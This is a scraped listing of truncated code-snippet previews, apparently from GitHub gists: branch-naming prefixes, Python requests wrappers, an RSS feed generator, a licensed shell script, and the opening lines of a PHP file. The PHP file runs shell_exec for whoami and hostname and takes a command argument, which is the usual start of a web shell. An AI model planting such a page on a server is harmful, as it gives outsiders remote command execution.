bug - Code changes linked to a known issue.
feat - New feature.
hotfix - Quick fixes to the codebase.
spike - Spikes (will probably not be merged - just investigating / testing before moving to a feature branch).
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import logging | |
import re | |
import json | |
import asyncio | |
import requests | |
# | |
# including these methods as wrappers around requests method | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys | |
import requests | |
import urllib3 | |
import json | |
import re | |
from types import SimpleNamespace as Namespace | |
from feedgen.feed import FeedGenerator | |
output = '' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# https://gist.github.com/christiangalsterer/5f55389b9c50c74c31b9 | |
# Copyright 2015 Christian Galsterer | |
# | |
# Licensed under the Apache License, Version 2.0 (the "License"); | |
# you may not use this file except in compliance with the License. | |
# You may obtain a copy of the License at | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php session_start(); ?> | |
<?php | |
if (empty($_SESSION['path'])) { | |
$_SESSION['user'] = shell_exec('whoami'); | |
$_SESSION['host'] = shell_exec('hostname'); | |
$_SESSION['path'] = dirname(__FILE__); | |
} | |
function showInfo($cmd) { | |
$user = $_SESSION['user']; |